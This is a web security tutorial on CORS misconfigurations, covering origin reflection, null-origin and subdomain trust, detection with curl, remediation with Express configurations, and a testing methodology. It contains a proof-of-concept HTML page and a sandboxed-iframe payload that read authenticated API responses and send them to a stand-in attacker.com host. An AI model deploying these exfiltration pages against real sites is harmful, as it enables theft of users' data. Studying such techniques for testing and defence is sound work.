Cross-Origin Resource Sharing (CORS) misconfigurations rank among the most critical web security vulnerabilities, enabling attackers to bypass the Same-Origin Policy (SOP) and exfiltrate sensitive user data. This comprehensive guide covers Exploitation Techniques, detection methods, and real-world attack scenarios.
Understanding CORS Architecture
Technically, CORS is a browser-enforced security mechanism that uses HTTP headers to control cross-origin requests. When a browser initiates a cross-origin request, it sends an Origin header, and the server responds with specific CORS headers:
- Access-Control-Allow-Origin — Specifies which origins can access the resource
- Access-Control-Allow-Credentials — Indicates whether cookies/authorization headers can be included
- Access-Control-Allow-Methods — Lists permitted HTTP methods
- Access-Control-Allow-Headers — Specifies allowed request headers
- Access-Control-Max-Age — Defines preflight cache duration
Critical CORS Misconfigurations
1. Access-Control-Allow-Origin: * with Credentials
The wildcard origin combined with Access-Control-Allow-Credentials: true creates a severe vulnerability. While browsers reject this combination per RFC 6454, misconfigured servers may still expose sensitive endpoints.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
// Browser blocks this, but legacy systems may not2. Origin Reflection Vulnerability
When servers dynamically copy the Origin header value into Access-Control-Allow-Origin without validation, attackers can exploit this from any domain:
GET /api/user/profile HTTP/1.1
Host: vulnerable-app.com
Origin: https://attacker.com
Cookie: session=abc123
// Server Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
// Now attacker.com can read this response!3. Null Origin Trust
The null origin appears in sandboxed iframes, data URLs, and local HTML files. Servers trusting null origins effectively trust any attacker-controlled context:
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://vulnerable-app.com/api/sensitive', {
credentials: 'include'
}).then(r => r.text()).then(data => {
// Exfiltrate to attacker server
fetch('https://attacker.com/steal?data=' + encodeURIComponent(data));
});
</script>"></iframe>4. Subdomain Wildcard Trust
Regex patterns like *.example.com that trust all subdomains are dangerous if any subdomain has XSS vulnerabilities or is attacker-controlled:
// Vulnerable server logic:
if (origin.endsWith('.example.com')) {
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');
}
// Attack: If attacker controls xss.example.com
// They can make authenticated requests from their subdomainExploitation Techniques
Manual Detection with curl
# Test origin reflection
curl -H "Origin: https://evil.com"
-H "Cookie: session=valid"
-i https://target.com/api/user
# Check for null origin trust
curl -H "Origin: null"
-i https://target.com/api/data
# Test subdomain trust
curl -H "Origin: https://xss.target.com"
-i https://target.com/api/sensitiveAutomated Scanning with CORSscan
python cors_scan.py -u https://target.com -d comma,separated,origins
# Example output:
[+] Vulnerable to origin reflection
[+] Null origin trusted
[+] Credentials allowed with reflected origin
[!] High severity: Can steal user dataProof of Concept Exploit
<!DOCTYPE html>
<html>
<head>
<title>CORS Exploit PoC</title>
</head>
<body>
<h1>CORS Data Exfiltration</h1>
<script>
// Target vulnerable endpoint
var targetUrl = 'https://vulnerable-app.com/api/user/data';
fetch(targetUrl, {
method: 'GET',
credentials: 'include', // Include cookies
headers: {
'Content-Type': 'application/json'
}
})
.then(response => response.json())
.then(data => {
console.log('Stolen data:', data);
// Exfiltrate to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
victim: data,
timestamp: Date.now()
})
});
})
.catch(error => console.error('Error:', error));
</script>
</body>
</html>Advanced Attack Scenarios
Scenario 1: API Key Theft
Modern web applications expose REST APIs with sensitive keys. CORS misconfigurations allow attackers to steal API responses containing personal data, authentication tokens, and business logic responses.
Scenario 2: Account Takeover
If password reset endpoints have CORS misconfigurations, attackers can initiate and complete password resets by reading the reset token from API responses, leading to full account compromise.
Scenario 3: CSRF Token Bypass
CORS vulnerabilities can bypass CSRF protections by allowing attackers to read CSRF tokens from authenticated responses and include them in malicious requests.
Remediation Best Practices
- Whitelist Validation — Only allow specific, trusted origins from a maintained whitelist
- Avoid Credentials with Wildcards — Never combine
Access-Control-Allow-Origin: *with credentials - Strict Subdomain Validation — Validate exact subdomain matches, not regex patterns
- Reject Null Origins — Never trust the null origin in production environments
- Use Vary Header — Include
Vary: Originto prevent caching issues - Implement CSP — Use Content Security Policy as defense-in-depth
// Secure CORS implementation (Node.js/Express)
const allowedOrigins = [
'https://example.com',
'https://app.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type,Authorization');
res.setHeader('Vary', 'Origin');
}
next();
});Detection and Monitoring
Implement continuous monitoring for CORS misconfigurations using automated scanners integrated into CI/CD pipelines. Monitor server logs for suspicious Origin headers and implement alerts for unusual cross-origin request patterns.
CORS in Modern Web Architecture
Understanding where CORS fits in modern web architecture is essential for both developers and security testers. CORS is not a security mechanism itself u2014 itu2019s a relaxation of the Same-Origin Policy (SOP).
How Browsers Process CORS
- Simple requests (GET, POST with standard content types): The browser sends the request with an
Originheader. If the response includesAccess-Control-Allow-Originmatching the origin, the browser allows it. - Preflight requests (custom headers, non-standard methods): The browser first sends an OPTIONS request. The server must respond with appropriate CORS headers before the actual request is sent.
- Credentialed requests (with cookies, Authorization headers): Require
Access-Control-Allow-Credentials: trueand cannot use wildcard origins.
Advanced CORS Exploitation Scenarios
Subdomain Takeover via CORS
If a wildcard subdomain is allowed (e.g., *.example.com), an attacker who takes over a subdomain can make cross-origin requests to the main application from their controlled subdomain. This is particularly dangerous when combined with DNS hijacking or cloud provider misconfigurations.
CORS + WebSocket Exploitation
WebSocket connections donu2019t follow the same CORS rules as HTTP. However, the initial handshake does. If a server allows WebSocket upgrades from any origin, an attacker can establish a bidirectional communication channel from their malicious page, potentially exfiltrating data in real-time.
CORS in Single-Page Applications (SPAs)
Modern SPAs often configure overly permissive CORS to simplify API integration during development. When these settings reach production, they create significant attack surface. Common misconfigurations include:
- Reflecting the
Originheader directly inAccess-Control-Allow-Origin - Allowing all subdomains without proper validation
- Enabling credentials with wildcard or reflected origins
- Using regex-based origin validation that can be bypassed
CORS Misconfiguration Testing Methodology
- Identify API endpoints using browser DevTools network tab or Burp Suite
- Test with various Origin headers u2014 try null origin, subdomains, and reflected values
- Check for credential support u2014 test if
Access-Control-Allow-Credentials: trueis returned - Look for Origin reflection u2014 if the server echoes your Origin back, itu2019s likely vulnerable
- Test regex bypasses u2014 try origins like
https://evil.target.comif the regex checks fortarget.com - Document the impact u2014 what sensitive data can be accessed cross-origin?
Secure CORS Configuration Template
Hereu2019s a production-ready CORS configuration pattern for Node.js (Express):
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
const allowed = ['https://app.example.com',
'https://admin.example.com'];
if (!origin || allowed.indexOf(origin) !== -1) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization']
}));For Apache, use Header always set Access-Control-Allow-Origin with explicit domains. For Nginx, configure add_header directives in your server block. Never use * in production when credentials are involved.
Conclusion
CORS misconfigurations represent a critical class of web vulnerabilities that can lead to complete user data compromise. Regular security audits, automated testing, and adherence to strict origin validation policies are essential for maintaining robust web application security.
Related Resources:
- OWASP CORS Documentation
- OWASP CORS Security
- PortSwigger CORS Guide
Reference: MDN CORS Documentation
How Browsers Enforce CORS
PreFlight Requests (OPTIONS)
For non-simple requests (those with custom headers, methods other than GET/HEAD/POST, or non-standard Content-Types), browsers send a preflight OPTIONS request before the actual request. The server must respond with appropriate CORS headers. A common misconfiguration is returning CORS headers only for the actual request but not for the preflight, causing the browser to block the request.
Another subtle issue is caching preflight responses. The Access-Control-Max-Age header controls how long the browser caches the preflight result. Setting this too high means a misconfiguration persists on the client side even after the server is fixed. Setting it too low causes excessive preflight requests impacting performance.
CORS vs. CSP (Content Security Policy)
CORS and CSP serve different purposes but complement each other. CORS controls cross-origin data access on the server side, while CSP controls which resources a page can load on the client side. A page protected by strict CSP can still make CORS requests. For comprehensive protection, implement both CORS headers for API endpoints and CSP headers for HTML pages. The connect-src CSP directive controls which origins a page can make fetch/XHR requests to.
Advanced CORS Exploitation Techniques
CORS Cache Poisoning
If the application reflects user input in the Access-Control-Allow-Origin header and sets a long Access-Control-Max-Age, an attacker can poison the CORS cache of a victim browser. The attack works by convincing the victim to visit a page that sends a request with a malicious Origin header. If the server reflects this origin, the browser caches the preflight response. Subsequent cross-origin requests are allowed without preflight, enabling persistent data exfiltration.
Defense: Never reflect arbitrary origins. Maintain an explicit allowlist and set reasonable Max-Age values (600-3600 seconds). Validate the Vary: Origin header is set when returning per-origin CORS responses.
CORS and WebSocket Connections
WebSocket connections do not follow CORS preflight mechanics. The browser sends a regular HTTP upgrade request, and the server can return any Access-Control-Allow-Origin header. If the WebSocket server reflects the Origin header without validation, any website can establish a WebSocket connection and receive real-time data. This is particularly dangerous for chat applications or any service streaming sensitive data.
CORS in Server-Side Rendering (SSR)
Server-Side Rendering applications (Next.js, Nuxt.js) introduce a unique CORS risk: the server-side rendering process makes API requests without CORS restrictions since no browser is involved. If the SSR server fetches user-specific data from an internal API, an SSRF vulnerability in the rendering logic can bypass CORS entirely. Ensure internal API endpoints are not accessible from the public internet.
CORS Security Testing Methodology
Step 1: Header Analysis
Send requests with various Origin headers and analyze the response. Test with the applications own domain, subdomains, null origin, and completely unrelated origins. Document which endpoints return CORS headers and which origins are reflected or allowed.
Step 2: Credentials Mapping
For each endpoint that returns CORS headers, test with credentials include (cookies, authorization headers). The combination of a reflected origin and Access-Control-Allow-Credentials true is the most dangerous misconfiguration since it allows authenticated cross-origin data access.
Step 3: Sensitive Data Identification
Map which API endpoints return sensitive data (user profiles, financial data, internal metrics). Prioritize testing these endpoints for CORS misconfigurations. Even read-only endpoints can be dangerous if they expose PII, internal IP addresses, or configuration details.
Step 4: Exploitation and Impact Assessment
Build proof-of-concept exploits to demonstrate the impact. Create a malicious HTML page that fetches sensitive data cross-origin and sends it to an attacker-controlled endpoint. Document the business impact: data exfiltration, account takeover possibility, or privilege escalation.
